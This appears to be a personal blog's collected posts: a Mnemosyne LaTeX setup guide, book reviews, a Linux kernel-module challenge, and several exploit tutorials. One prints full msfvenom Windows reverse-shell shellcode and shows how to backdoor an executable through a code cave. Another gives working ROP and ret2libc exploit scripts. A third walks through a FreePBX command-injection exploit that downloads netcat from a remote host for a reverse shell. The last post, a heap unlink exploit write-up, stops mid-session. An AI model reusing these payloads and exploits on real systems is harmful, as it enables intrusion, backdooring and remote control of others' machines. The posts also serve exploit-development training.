
![Mnemosyne showing error message "Problem with latex. Are latex and dvipng installed?"](/media/mnemosyne.png)

Mnemosyne doesn't support LaTeX by default. It requires two additional packages — `latex` and `dvipng`.

First, install the lightweight version of TeX that has `latex` binary:

```
brew install --cask basictex
```

Then, update the package manager and install the `dvipng` package:

```
sudo tlmgr update --self
sudo tlmgr install dvipng
```

Mnemosyne fails to find executables in their installation locations on MacOS. Therefore, we need to specify these location in the configuration file first.

Get the full path to the installed binaries:

```
which latex
which dvipng
```

This should return:

```
/Library/TeX/texbin/latex
/Library/TeX/texbin/dvipng
```

Use these locations for `latex` and `dvipng` commands in `/Library/Mnemosyne/config.py`:

```
# Latex command.
latex = "/Library/TeX/texbin/latex -interaction=nonstopmode"

# Latex dvipng command.
dvipng = "/Library/TeX/texbin/dvipng -D 200 -T tight tmp.dvi"
```

Enabling LaTeX support for Mnemosyne on MacOS


I finished reading On Writing Well by William Zinsser. I mentioned in my [February notes](/22-02) why I wanted to read this book — people expect you to know how to write, but nobody teaches you how to write. Non-native speakers face greater challenges. Teachers say that the more adjectives and the longer sentences the better. Clichés and standard collocations are what get you an A. But this is not how good English writers write.

The book consists of two parts. The first part gives you tools to improve your writing. It is simple. Use only what’s necessary. Don’t add words to your writing to sound smart. Avoid adding new adverbs when choosing a precise verb would do the same job. Use adjectives only when their meaning is not part of the noun. Keep your writing simple. Write for yourself. Keep it short. Always rewrite. Express your real self because people want to hear the real you. Find precise words for what you want to say.

The second part of the book focuses more on writing different types of prose. It was not immediately beneficial for me _now_ because I did not intend to write something as big as a memoir. But it was inspiring and encouraging. Sometimes I wanted to grab my laptop and write something personal.

I noticed on Goodreads that some reviewers say that Zinsser’s style lacks poetry and imagination. But this is missing the point. This book is not about fictional writing, where vivid descriptions are encouraged. It’s about expressing ideas clearly.

In my entire life, people taught me to do the opposite. Therefore, this approach to writing felt new and refreshing.

_The book would likely be called “Lean writing” if it were written today._

On Writing Well by William Zinsser


I resurrected my blog. I took the idea for these regular posts from [Tom MacWright](https://macwright.com/2019/02/06/how-to-blog). This is more interesting than posting content to different services like Letterboxd, Goodreads, Twitter, 500px, and so on.

I finished reading *Surely You’re Joking Mr. Feynman*, which I liked and [wrote](/curious-character) about.

I wanted to learn how to write better. Almost anyone in your life assumes that you know how to write. But nobody teaches you to write. If you are not a native speaker of English, you learn to do the opposite. Your teachers say that you need to use fancy words, idioms, and collocations to make your writing sound better. This is not how I want to write. I want to write like [Paul Graham](http://www.paulgraham.com/talk.html). My favorite thing about his essays is that I can imagine him talking. So I started reading *On Writing Well by William Zinsser*, which is a popular book on writing. It focuses on the simple and precise use of the English language for writing non-fiction.

I started the introduction course on reinforcement learning by [David Silver](https://www.davidsilver.uk/teaching/). It is ten weeks long. I might finish it sooner, but I prefer spending time on better understanding ideas, so it might take longer. I also started reading [Reinforcement Learning: An Introduction](http://www.incompleteideas.net/book/the-book-2nd.html), which is a classic book on the subject, and David’s course is partly based on it.

Recently: Writing, Blogging, and Reinforcement Learning

<figure>
    <img src="/media/books/richard-feynman.jpg" alt="Richard Feynman"
        width="1200px" height="675px"/>
</figure>

I liked this book. It was fun to read about how Feynman saw the world. He did not care about what other people thought about him. He kept doing what he liked. Maybe this quality of a character is what it takes to do great things. However you define greatness. Or maybe it is the never ending curiosity. Or finding small things that make the world interesting and worth exploring.

Surely You’re Joking Mr. Feynman by Richard Feynman


<figure>
    <img src="/media/books/wright.jpg" width="1388" height="900">
    <figcaption>
        Orville Wright's first flight on December 17, 1903
    </figcaption>
</figure>

The brothers were born in Ohio, a typical part of the United States. They did not have special education and had no investments. Yet, they were hardworking, austere, and detail-oriented. They had a supportive family, where curiosity and the “fix it” mindset were encouraged. They were ordinary people and they showed that ordinary people can accomplish extraordinary things.

McCullough is an excellent writer. He turns history into an interesting story and gives sufficient detail without getting boring.

This book is not only interesting for its insights into the history of aviation and progress, but also because it provides advice on product development. Cheap prototypes and quick iterations — it's all there.

The Wright Brothers by David McCullough

 
This article describes the process of locating `WaitForSingleObject` function. If you are doing OSCE, you might have stumbled upon this function when using a shellcode generated by `msfvenom`.

Step 1: Generating payload
--------------------------

First, we need to generate a shellcode using `msfvenom`. We need to use `EXITFUNC=none` so that our program keeps running after the completion of the shellcode.

    msfvenom -p windows/shell_reverse_tcp LHOST=192.168.100.46 LPORT=4444 EXITFUNC=none -f hex
    No platform was selected, choosing Msf::Module::Platform::Windows from the payload
    No Arch selected, selecting Arch: x86 from the payload
    No encoder or badchars specified, outputting raw payload
    Payload size: 324 bytes
    Final size of hex file: 648 bytes
    fce8820000006089e531c0648b50308b520c8b52148b72280fb74a2631ffac3c617c022c20c1cf0d01c7e2f252578b52108b4a3c8b4c1178e34801d1518b592001d38b4918e33a498b348b01d631ffacc1cf0d01c738e075f6037df83b7d2475e4588b582401d3668b0c4b8b581c01d38b048b01d0894424245b5b61595a51ffe05f5f5a8b12eb8d5d6833320000687773325f54684c772607ffd5b89001000029c454506829806b00ffd5505050504050405068ea0fdfe0ffd5976a0568c0a8642e680200115c89e66a1056576899a57461ffd585c0740cff4e0875ec68f0b5a256ffd568636d640089e357575731f66a125956e2fd66c744243c01018d442410c60044545056565646564e565653566879cc3f86ffd589e04e5646ff306808871d60ffd5bbaac5e25d68a695bd9dffd53c067c0a80fbe07505bb4713726f6a0053ffd5
    

I spent a couple of hours trying to figure out why `windows/exec` payload does not work. The answer is that it is generating a payload like `shellcode` + `cmd_string`, and when shellcode returns from the function, it gets right into `cmd_string`.

Step 2: Preparing executable
----------------------------

Create a new section, so that it has the following attributes: `.NewSec, VOffset: 0x46000, VSize: 0x1000, ROffset: 0x2D000, RSize: 0x1000, Flags: 0xE000000E0`.

If you are doing CTP/OSCE, you are familiar with overwriting the first bytes of a program. These bytes are called Original Entry Point. You could do that here. Alternatively, you can overwrite `AddressOfEntryPoint` in the PE header.

Then you create a code cave like this:

1.  `pushad`
2.  `pushfd`
3.  `msfvenom` generated payload
4.  stack alignment via `sub esp, ...` or `add esp, ...`
5.  `popfd`
6.  `popad`
7.  return to the original flaw (depends on the way you hijacked the original flaw)

Step 3: Understanding Metasploit shellcode
------------------------------------------

We do not need to reverse the whole shellcode. The [git repository](https://github.com/rapid7/metasploit-framework/tree/cac890a797d0d770260074dfe703eb5cfb63bd46/external/source/shellcode/windows/x86/src/block) of Metasploit has assembly source code for all payloads.

A file [block\_api.asm](https://github.com/rapid7/metasploit-framework/blob/master/external/source/shellcode/windows/x86/src/block/block_api.asm) defines a function to look up API functions. `msfvenom` generated shellcode looks up API functions by their hashes, not names or addresses. Thus, it does not have any direct pointers, which makes it difficult to reverse engineer.

The following Python code calculates a function hash:

    #!/usr/bin/python
    # -*- coding: utf-8 -*-
    
    def ror(dword, bits):
        return (dword >> bits | dword << 32 - bits) & 0xFFFFFFFF
    
    def unicode(string, uppercase=True):
        result = ''
        if uppercase:
            string = string.upper()
            for c in string:
                result += c + '\x00'
            return result
    
    def hash(
        module,
        function,
        bits=13,
        print_hash=True,
        ):
        module_hash = 0
        function_hash = 0
        for c in unicode(module + '\x00'):
            module_hash = ror(module_hash, bits)
            module_hash += ord(c)
            for c in str(function + '\x00'):
                function_hash = ror(function_hash, bits)
                function_hash += ord(c)
                h = module_hash + function_hash & 0xFFFFFFFF
                if print_hash:
                    print '[+] 0x%08X = %s!%s' % (h, module.lower(),
                            function)
                return h
    
    if __name__ == '__main__':
        hash('kernel32.dll', 'WaitForSingleObject')
    

When we run it, it will display the hash of the `WaitForSingleObject` function in the `kernel32.dll` module.

    python hash.py
    [+] 0x601D8708 = kernel32.dll!WaitForSingleObject
    

The hash is `0x601D8708`.

Then, to get a reverse shell, we use code from [block\_reverse\_tcp.asm](https://github.com/rapid7/metasploit-framework/blob/master/external/source/shellcode/windows/x86/src/block/block_reverse_tcp.asm). This code looks up required API functions (those `push; call ebp;` instructions) by their hashes, calls them, and then returns a socket through `edi` register. Calling `connect`, for example, is made like this:

    push byte 16        ; length of the sockaddr struct
    push esi            ; pointer to the sockaddr struct
    push edi            ; the socket
    push 0x6174A599     ; hash( "ws2_32.dll", "connect" )
    call ebp            ; connect( s, &sockaddr, 16 );
    

After that, the shellcode spawns a shell, using [block\_shell.asm](https://github.com/rapid7/metasploit-framework/blob/master/external/source/shellcode/windows/x86/src/block/block_shell.asm). This code uses `CreateProcessA` , and it uses our socket as `stdin`, `stdout`, and `stderr`.

In [block\_exitfunk.asm](https://github.com/rapid7/metasploit-framework/blob/master/external/source/shellcode/windows/x86/src/block/block_exitfunk.asm) an exit function get called (the one, specified via `EXITFUNC` parameter).

Step 4: Fixing shellcode
------------------------

If we look closer to block\_shell.asm code, we’ll see it uses the `WaitForSingleObject` function. This snippet shows where it is used:

    dec esi             ; decrement ESI down to -1 (INFINITE)
    push esi            ; push INFINITE inorder to wait forever
    inc esi             ; increment ESI back to zero
    push dword [eax]    ; push the handle from our PROCESS_INFORMATION.hProcess
    push 0x601D8708     ; hash( "kernel32.dll", "WaitForSingleObject" )
    call ebp            ; WaitForSingleObject( pi.hProcess, INFINITE );
    

We see this code uses `INFINITE` as a value for the `dwMilliseconds` parameter. The prototype of the `WaitForSingleObject` function is:

    DWORD WINAPI WaitForSingleObject( _In_ HANDLE hHandle, _In_ DWORD dwMilliseconds);
    

To avoid glitching, we must set the value of the `dwMilliseconds` to zero. We can do that by changing `dec esi` to `nop`.

Now our shellcode should look like this:

![](/media/asm.png)

Copy changes to the executable, save it, and run it. Everything should work fine.

Looking for WaitForSingleObject Call in Modern Metasploit Shellcode


This article describes techniques to bypass DEP (`ret2libc` and `ROP`) on Linux x64 systems.

We need:

1.  Python Exploit Development Assistance for GDB
2.  radare2
3.  GDB

We need a small, _vulnerable_ program in C :

    #include <stdio.h>
    int main(int argc, char *argv[]) { 
        char buf[256]; read(0, buf, 400);
    }
    

Compile it using:

    gcc -fno-stack-protector rop.c -o rop
    

Since we do not bypass ASLR, then we need to disable it for your Linux distribution like this:

    echo 0 > /proc/sys/kernel/randomize_va_space
    

To check whether it's disabled or not type `ldd <path to file>`. You should get something like:

    linux-vdso.so.1 (0x00007ffff7ffa000)
    libc.so.6 => /usr/lib/libc.so.6 (0x00007ffff7a3c000)
    /lib64/ld-linux-x86-64.so.2 (0x00007ffff7dda000)
    

If you type it again, the addresses should be the same, meaning randomization is disabled.

ROP and ret2libc
----------------

In classic `ret2libc` we need to create a fake stack frame in order to call a function from libc. For instance, we can call `system()` and use “/bin/sh” string as input.

In 64-bit programs, the first six params are passed through `rdi`, `rsi`, `rdx`, `rcx`, `r8` and `r9`. The other parameters are passed through the stack. Thus, in order to call a function from `libc`, we need to set the right values to registers. Setting this values is not that trivial and I will use ROP technique to show how it can be done.

ROP or Return Oriented Programming is a technique that allows us to bypass NX bit. The main idea of ROP is that instead of executing code from the stack, we would use so called gadgets.

A gadget is a short command sequence, which ends with `ret` instruction. Combining these gadgets and choosing the rights addresses, we can achieve code execution.

Using gadgets we can:

*   Write a constant into a register, for example `pop rax; ret;`
*   Copy a value from memory to a register, for example `mov [rax], rcx; ret;`
*   Copy a value into memory, for example `mov rbx, [rcx]; ret;`
*   Do calculations, for example `xor rax, rax; ret;`
*   Do syscall;

Our exploit will call `system('/bin/sh')`. Before we do this, we must know:

*   The address of `system()`. Since we’ve disabled ASLR, it will be the same with every execution;
*   The address of `/bin/sh` in memory (a pointer to a string);
*   The address of a ROP gadget that will copy the address of `/bin/sh` into `rdi` (this register is used to pass the first argument of a function);
*   The offset before rewriting `rip`.

To find address of `system()` we can use `gdb`. Run it as `gdb rop`.

Then start the program:

    gdb-peda$ start
    

And to find `system()` address:

    gdb-peda$ p system
    $1 = {<text variable, no debug info>} 0x7ffff7a7b4d0 <system>
    

And to find a pointer to `/bin/sh`:

    gdb-peda$ find '/bin/sh'
    Searching for '/bin/sh' in: None ranges
    Found 1 results, display max 1 items:
    libc : 0x7ffff7b9d359 --> 0x68732f6e69622f ('/bin/sh')
    

Now we need a gadget that would copy `0x7ffff7b9d359` into `rdi`. Let’s use `radare2` to find such a gadget. Run radare as `r2 rop` and look for a gadget as:

    [0x00400400]> /R pop rdi 0x004005a3 5f pop rdi 0x004005a4 c3 ret
    

This gadget should work. It will take the address from the stack and write it into `rdi`.

The only thing we need to do is to find the offset to our exploit, so that we can pass control to it. To find the offset, we can create a pattern, pass it to the program, and then locate it in the memory, and calculate the offset. To generate and save pattern it to pattern.txt:

    gdb-peda$ pattern_create 400 pattern.txt
    Writing pattern of 400 chars to filename "pattern.txt"
    

Run gdb again with the pattern as input:

    gdb-peda$ r < pattern.txt
    

We should received the following error, saying that our program crashes: “Program received signal SIGSEGV, Segmentation fault”. Let’s examine `rsp`. In my case, it looked like:

    RSP: 0x7fffffffe028 ("HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%y\020\341\377\367\377\177") 
    

Let's take the first 6 bytes on the stack `HA%dA%`. The find which offset they have in our pattern:

    gdb-peda$ pattern offset HA%dA%
    HA%dA% found at offset: 264
    

Thus, we know we need to write 264 bytes in order to rewrite `rip`.

Now we have everything to create an exploit:

    from struct import *
    buf = ''
    buf += 'A'*264 			# junk
    buf += pack('<Q', 0x004005a3) 	# pop rdi, ret
    buf += pack('<Q', 0x7ffff7b9d359) 	# pointer to '/bin/sh'
    buf += pack('<Q', 0x7ffff7a7b4d0) 	# system()
    f = open("exploit.txt", "w")
    f.write(buf)
    f.close
    

This code:

1.  Creates a buffer and writes there 264 letters ‘А’ as junk;
2.  Writes the address of `pop rdi; ret;` gadget;
3.  Writes the address of `/bin/sh`, which is an argument for `system()`;
4.  Writes the address of `system()`.

First we are getting to our gadget (because of `rip` rewriting). Then, the first command of our gadget `pop rdi` takes the value from stack, which is `/bin/sh` address, and writes it into `rdi`. After that, the second command of the gadget gets executed — `ret`, which takes the next address from the stack, which is the address of `system()`, and jumps to it. Then, `system()` gets called, with the first argument in `rip`, which is a pointer to `/bin/sh` string.

Now let’s call our script, which will create ‘exploit.txt’. Then run program with ‘exploit.txt’ as input:

    (cat exploit.txt; cat) | ./rop
    

And we are in `sh`. In this case we used only one gadget, now let’s use many of them!

Chaining gadgets
----------------

The main advantage of ROP is that we can create so called "ROP chains". Since every gadget ends with `ret`, we can put multiple addresses on the stack, and every gadget will take the next address from it after executing `ret` and jump to that address.

In order to run `sh` let’s use [this](https://simonuvarov.com/writing-shellcode/) article. In short we are going to use `execve()`. To do so we must:

1.  Put the address of `/bin/sh` into `rdi`;
2.  Zero out `rsi`, which stores a pointer to `argv`;
3.  Zero out `rdx`, which stores a pointer to `envp`;
4.  Write the number of the function (`0x3b`) into `rax`;
5.  Call `syscall`.

Now let’s find gadgets.

We already know the address of `pop rdi; ret;`

Now we need an address of a gadget that can write a value into `rsi`. Run `radare2` again and type:

    [0x00400400]> /R pop rsi 
    0x004005a1 5e pop rsi 
    0x004005a2 415f pop r15 
    0x004005a4 c3 ret
    

As you can see, it deals with `r15` too. But this should not be a problem because we can just put some random value for it to `pop`. This value will be put into `r15`. If we don’t do so, `pop r15` will take an address of the next gadget and thus, break our exploit.

Some gadgets may not be available in our executable file. In this case, we can use libraries that the application loads. To see what libraries are used, run:

    ldd rop 
    linux-vdso.so.1 (0x00007ffff7ffa000) libc.so.6 => /usr/lib/libc.so.6 (0x00007ffff7a3c000) /lib64/ld-linux-x86-64.so.2 (0x00007ffff7dda000)
    

Open this library inside of `radare2`:

    r2 /usr/lib/libc.so.6
    

Look for a gadget that we can use to write a value into `rax`:

    [0x000203b0]> /R pop rax 0x0011ec71 8903 mov dword [rbx], eax 0x0011ec73 58 pop rax 0x0011ec74 5a pop rdx 0x0011ec75 5b pop rbx 0x0011ec76 c3 ret
    

There’re a lot of them, but we need only one. This one messes with three registers, but we can also just put random values on the stack in order to avoid breaking the exploit.

Since the address we have is just an offset inside `libc`, we need to calculate its real address, which is the address of `libc` plus the offset:

    >>> hex(0x0011ec73 + 0x7ffff7a3c000)
    '0x7ffff7b5ac73'
    

And we get the real address of the gadget, which is `0x7ffff7b5ac73`. Now we need to find a gadget, which calls `syscall`:

    [0x000203b0]> /R syscall 0x0010248e 0000 add byte [rax], al 0x00102490 48633f movsxd rdi, dword [rdi] 0x00102493 b803000000 mov eax, 3 0x00102498 0f05 syscall 0x0010249a c3 ret
    

We also calculate its real address, which should be something like `0x7ffff7b3e498`.

Now let’s create a buffer for our exploit. It will look like:

    0x004005a3 	pointer to `pop rdi; ret;`
    0x7ffff7b9d359 	pointer to '/bin/sh'
    0x004005a1 	pointer to `pop rsi; ret;`
    0x0 		null (`argv` value)
    0xffffdeadbeef	random value (to bypass `pop r15;`)
    0x7ffff7b5ac73	pointer to `pop rax; ret`
    0x3b		number of execve to call syscall
    0x0 		null (`envp` value)
    0xffffffffabcd	random value (to bypass `pop rbx;`)
    0x7ffff7b3e498	syscall
    

Create a simple script that creates a file with the buffer:

    from struct import *
    buf = ''
    buf += 'A'*264                      # junk
    buf += pack('<Q', 0x004005a3)       # pop rdi
    buf += pack('<Q', 0x7ffff7b9d359)   # p to /bin/sh
    buf += pack('<Q', 0x004005a1)       # pop rsi
    buf += pack('<Q', 0x0)              # null argv
    buf += pack('<Q', 0xffffdeadbeef)   # junk
    buf += pack('<Q', 0x7ffff7b5ac73)   # pop rax
    buf += pack('<Q', 0x3b)             # execve number
    buf += pack('<Q', 0x0)              # null envp
    buf += pack('<Q', 0xffffffffabcd)   # trash
    buf += pack('<Q', 0x7ffff7b3e498)   # syscall
    f = open("exploit.txt", "w")
    f.write(buf)
    f.close
    

Run the script. It should save content to file ‘exploit.txt’. Now we can use it with our vulnerable program:

    (cat exploit.txt; cat) | ./rop
    

Now, we are inside `sh` and we can run commands.

Using Return Oriented Programming Against DEP


Not so long ago, after I started researching Linux kernel I got curious about how can I contribute into the kernel and I found. This challenge is about step by step immersion into kernel module writing. There will be more!

*Authors of this challenge ask not to post code publicly. I don't agree with them because this challenge is for people who are willing to learn and they're apriory would't search for ready-to-use answers. However I won't do it in respect of creators of this challenge. But if you need a nudge feel free to contact me via email.*

The first task was to write a kernel module. It is pretty easy if you are familiar with C language. There're only three functions we need: `init_module`, `cleanup_module` and `printk`. The main function here is `init_module`.  From `man` we have:

> `init_module()` loads an ELF image into kernel space, performs any necessary symbol relocations, initializes module parameters to values provided by the caller, and then runs the module's init function. This system call requires privilege.
>
> On success, these system calls return 0. On error, -1 is returned and errno is set appropriately.

It's a main function in kernel module (almost). `cleanup_module` is a function which is called when a module is unloaded.

Then we can compile the module and load it:

```
make
insmod ./hello-1.ko
```

Then look at loaded modules:

```
cat /proc/modules | grep hello
```

Additionally you can see the last messages by using:

```
dmesg | tail -1
[ 1325.631657] Hello world!
```

It turned out to be not so easy and I got the following response:

> Please print to the kernel debug log level.
>
> Please read the requirements for the Makefile and allow the module to bebuilt against any kernel source tree on the filesystem, not just thosekernels that happened to be installed in /lib/ at some point in time.

Yes. I was asked to do the following:

>Write a Linux kernel module, and stand-alone Makefile, that when loaded
>prints to the kernel debug log level, "Hello World!"
>
>The Makefile should be able to build the kernel module against the
>source of the currently-running kernel as well as being able to accept
>an arbitrary kernel sources directory from an environment variable.

I found [this](https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/tree/Documentation/kbuild/modules.txt#n175) helpful for writing `Makefile` to build a kernel for multiple distributions.

As for debug messages, they are simple and could be found [here](http://www.makelinux.net/books/lkd2/ch18lev1sec3).


Adventures in Linux Kernel — Task 01


During one penetration test, I stumbled upon a server running a vulnerable version of FreePBX. I tried a couple of exploits, but most of them did not work. The only exploit that worked was [this](https://www.exploit-db.com/exploits/40345/) `curl` command.

To make running commands easier, I wrote [a simple Python script](https://gist.github.com/simonuvarov/ab5f549707e29c32a6e6b50ffcf995f0#file-freepbx-py).

Usage of the script: `python freepbx.py <server> <command>`.

How it works
------------

The developers attempted to prevent shell command injection by performing simple, yet inadequate, sanitization. Special chars were filtered, and thus I could not run `nc -nv <ip> <port>` or `echo aaa > file.txt`. I could only use one-word commands.

How can I use the exploit if I can not use spaces? It turned out, it is possible to run commands without spaces by using `{ls,-l}` syntax, which is called brace expansion. Brace expansion is a mechanism by which arbitrary strings can be generated in Linux. It is similar to filename expansion. For example, `echo a{d,c,b}e` would produce three strings — `ade`, `ace`, and `abe`.

I needed to write files, but I could not use `/` or `\`. The workaround was to use a command `echo "Hello world" | dd of=test.txt` where `of` stands for Output File.

Then I needed to get a reverse shell, but I could not use dots and slashes. However, I could run commands, write files, and use command substitution. Therefore, I could run the following command to get a dot symbol:

    python freepbx.py <server> "ls|{head,-n,1}|{cut,-c,5}|{dd,of=dot}"
    

This command writes a dot symbol into a file from `ls` output. The dot happened to be the 5th symbol of the first file in this particular case.

Then I repeated the same process for the slash symbol, but this time I generated it from `pwd` command output like this:

    freepbx.py <server> "{pwd,}|{cut,-c,1}|{dd,of=slash}"
    

Now it was possible to get reverse shell:

    python freepbx.py <server> "{wget,exgq\$({cat,dot})pw\$({cat,slash})nc}"
    python freepbx.py <server> "{chmod,+x,nc}"
    python freepbx.py <server> "{\$({cat,dot})\$({cat,slash})nc,exgq\$({cat,dot})pw

FreePBX Exploit and Brace Expansion


This level was harder than previous ones. I needed to deep dive into how `malloc` works and how to exploit the `unlink` macros. Articles that helped me:

* [Vudo - An object superstitiously believed to embody magical powers](http://phrack.org/issues/57/8.html)
* [X86 Exploitation 101: Heap Overflows… Unlink Me, Would You Please?](https://gbmaster.wordpress.com/2014/08/11/x86-exploitation-101-heap-overflows-unlink-me-would-you-please/)
* [Heap Overflows](http://etutorials.org/Networking/network+security+assessment/Chapter+13.+Application-Level+Risks/13.5+Heap+Overflows/)
* [A Memory Allocator](http://g.oswego.edu/dl/html/malloc.html)

In our case we have 3 buffers, 32 bytes each:

```с
 a = malloc(32);
 b = malloc(32);
 c = malloc(32);

strcpy(a, argv[1]);
strcpy(b, argv[2]);
strcpy(c, argv[3]);

free(c);
free(b);
free(a);
```


Let's see what happens when we run the program:

```
(gdb) b *main+136
Breakpoint 1 at 0x8048911: file heap3/heap3.c, line 24.
(gdb) r AAAA BBBB CCCC
Starting program: /opt/protostar/bin/heap3 AAAA BBBB CCCC

Breakpoint 1, 0x08048911 in main (argc=4, argv=0xbffff724) at heap3/heap3.c:24
24	heap3/heap3.c: No such file or directory.
	in heap3/heap3.c

(gdb) x/12x 0x0804c008 - 8
0x804c000:	0x00000000	0x00000029	0x41414141	0x00000000
0x804c010:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c020:	0x00000000	0x00000000	0x00000000	0x00000029
(gdb) x/12x 0x0804c030 - 8
0x804c028:	0x00000000	0x00000029	0x42424242	0x00000000
0x804c038:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c048:	0x00000000	0x00000000	0x00000000	0x00000029
(gdb) x/12x 0x0804c058 - 8
0x804c050:	0x00000000	0x00000029	0x43434343	0x00000000
0x804c060:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c070:	0x00000000	0x00000000	0x00000000	0x00000f89

```

Now let's see what happens after each `free()` call:

```
(gdb) disassemble main
...
0x08048911 <main+136>:	call   0x8049824 <free>
0x08048916 <main+141>:	mov    eax,DWORD PTR [esp+0x18]
0x0804891a <main+145>:	mov    DWORD PTR [esp],eax
0x0804891d <main+148>:	call   0x8049824 <free>
0x08048922 <main+153>:	mov    eax,DWORD PTR [esp+0x14]
0x08048926 <main+157>:	mov    DWORD PTR [esp],eax
0x08048929 <main+160>:	call   0x8049824 <free>
0x0804892e <main+165>:	mov    DWORD PTR [esp],0x804ac27
0x08048935 <main+172>:	call   0x8048790 <puts@plt>
(gdb) b *main+148
Breakpoint 2 at 0x804891d: file heap3/heap3.c, line 25.
(gdb) b *main+160
Breakpoint 3 at 0x8048929: file heap3/heap3.c, line 26.
(gdb) b *main+165
Breakpoint 4 at 0x804892e: file heap3/heap3.c, line 28.
```

We set two new breakpoint before others `free()` calls and one after the last `free(a)` call. Contunue program and we stop right before the second `free` call. Let's examine the heap:

```
(gdb) x/12x 0x0804c058 - 8
0x804c050:	0x00000000	0x00000029	0x00000000	0x00000000
0x804c060:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c070:	0x00000000	0x00000000	0x00000000	0x00000f89
```

The we run over the second call:

```
(gdb) c
Continuing.

Breakpoint 3, 0x08048929 in main (argc=4, argv=0xbffff724) at heap3/heap3.c:26
26	in heap3/heap3.c

(gdb) x/12x 0x0804c008 - 8
0x804c000:	0x00000000	0x00000029	0x41414141	0x00000000   ; a
0x804c010:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c020:	0x00000000	0x00000000	0x00000000	0x00000029
(gdb) x/12x 0x0804c030 - 8
0x804c028:	0x00000000	0x00000029	0x0804c050	0x00000000   ; b
0x804c038:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c048:	0x00000000	0x00000000	0x00000000	0x00000029
(gdb) x/12x 0x0804c058 - 8
0x804c050:	0x00000000	0x00000029	0x00000000	0x00000000   ; c
0x804c060:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c070:	0x00000000	0x00000000	0x00000000	0x00000f89
```

And after the `free(a)`:

```
(gdb) c
Continuing.

Breakpoint 4, main (argc=4, argv=0xbffff724) at heap3/heap3.c:28
28	in heap3/heap3.c
(gdb) x/12x 0x0804c008 - 8
0x804c000:	0x00000000	0x00000029	0x0804c028	0x00000000  ; a
0x804c010:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c020:	0x00000000	0x00000000	0x00000000	0x00000029
(gdb) x/12x 0x0804c030 - 8
0x804c028:	0x00000000	0x00000029	0x0804c050	0x00000000  ; b
0x804c038:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c048:	0x00000000	0x00000000	0x00000000	0x00000029
(gdb) x/12x 0x0804c058 - 8
0x804c050:	0x00000000	0x00000029	0x00000000	0x00000000  ; c
0x804c060:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c070:	0x00000000	0x00000000	0x00000000	0x00000f89
```

As we can see the chunks are stored in single-linked lists. There's some good explanation to this:

> freed chunks smaller than 64 bytes are placed into a single-linked list

So we need to set the size of a chunk greater that 64 bytes so that `unlink` got called.

After freeing all chunks we can look at bins:

```
(gdb) disassemble free
Dump of assembler code for function free:
...
0x0804982a <free+6>:	mov    DWORD PTR [ebp-0x38],0x804b160   ; bins address
...
(gdb) x/16x 0x804b160
0x804b160 <av_>:	0x00000048	0x00000000	0x00000000	0x00000000
0x804b170 <av_+16>:	0x0804c000	0x00000000	0x00000000	0x00000000
0x804b180 <av_+32>:	0x00000000	0x00000000	0x00000000	0x0804c078
0x804b190 <av_+48>:	0x00000000	0x00000000	0x00000000	0x0804b194
```

We can see a bin with the index 5 points to the first chunk (which is `a` and has `0x0804c000` address).

Check if we overwrote `prevsize`:

```
(gdb) r AAAA `python -c "print 'A'*32 + '\xfc\xff\xff\xff' + '\xf0'"` DEADBEEF
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /opt/protostar/bin/heap3 AAAA `python -c "print 'A'*32 + '\xfc\xff\xff\xff' + '\xf0'"` DEADBEEF

Breakpoint 1, 0x08048911 in main (argc=4, argv=0xbffff704) at heap3/heap3.c:24
24	in heap3/heap3.c
(gdb) x/32x 0x0804c058 - 8
0x804c050:	0xfffffffc	0x000000f0	0x44414544	0x46454542
0x804c060:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c070:	0x00000000	0x00000000	0x00000000	0x00000f89
0x804c080:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c090:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c0a0:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c0b0:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c0c0:	0x00000000	0x00000000	0x00000000	0x00000000
```

Since `PREV_INUSE` is unset it will think about buffer `b` as freed. Since we cannot use `0x00` bytes, we use negative values as `size`.  We use `0xfffffffc` which is `0b11111111111111111111111111111100`. Thus it will run `p = chunk_at_offset(p, -(long)prevsz)` and will treat `p+4` as a pointer to the previous chunk.

If we call `free` on a chunk which has `bk` and `fd` pointers overwritten, then we will overwrite `fd+12` with `bk` and then `bk+8` with `fd`.  If you don't understand it, take a look at `unlink` macro again:

```
#define unlink( P, BK, FD ) {            \
    BK = P->bk;                          \
    FD = P->fd;                          \
    FD->bk = BK;                         \
    BK->fd = FD;                         \
}
```

Now let's find what and where we need to write. Let's find the address of `winner()`:

```
$ readelf -Ws heap3 | grep winner
    74: 08048864    37 FUNC    GLOBAL DEFAULT   14 winner
```
And for example we want to replace `puts()` in GOT:

```
user@protostar:/opt/protostar/bin$ readelf -r heap3 | grep puts
0804b128  00000e07 R_386_JUMP_SLOT   00000000   puts
```

Assuming that we will write at `bk+8`, `bk` must be `0x0804b128 - 0x0c = 0x804b11c`.

So let's test our exploit:

```
(gdb) r AAAA `python -c "print 'B'*32 + '\xfc\xff\xff\xff' + '\xf0'"` `python -c "print 'CCCC' + '\x1c\xb1\x04\x08' + '\x64\x88\x04\x08'"`

Starting program: /opt/protostar/bin/heap3 AAAA `python -c "print 'B'*32 + '\xfc\xff\xff\xff' + '\xf0'"` `python -c "print 'CCCC' + '\x1c\xb1\x04\x08' + '\x64\x88\x04\x08'"`

Program received signal SIGSEGV, Segmentation fault.
0x08049906 in free (mem=0x804c058) at common/malloc.c:3638
3638	in common/malloc.c
```

It crashed. Let's find if we rewrote GOT entry:

```
(gdb) x/x 0x0804b128
0x804b128 <_GLOBAL_OFFSET_TABLE_+64>:	0x08048864
```

We did! But why did we get this SEGFAULT?

```
(gdb) x/i 0x08049906
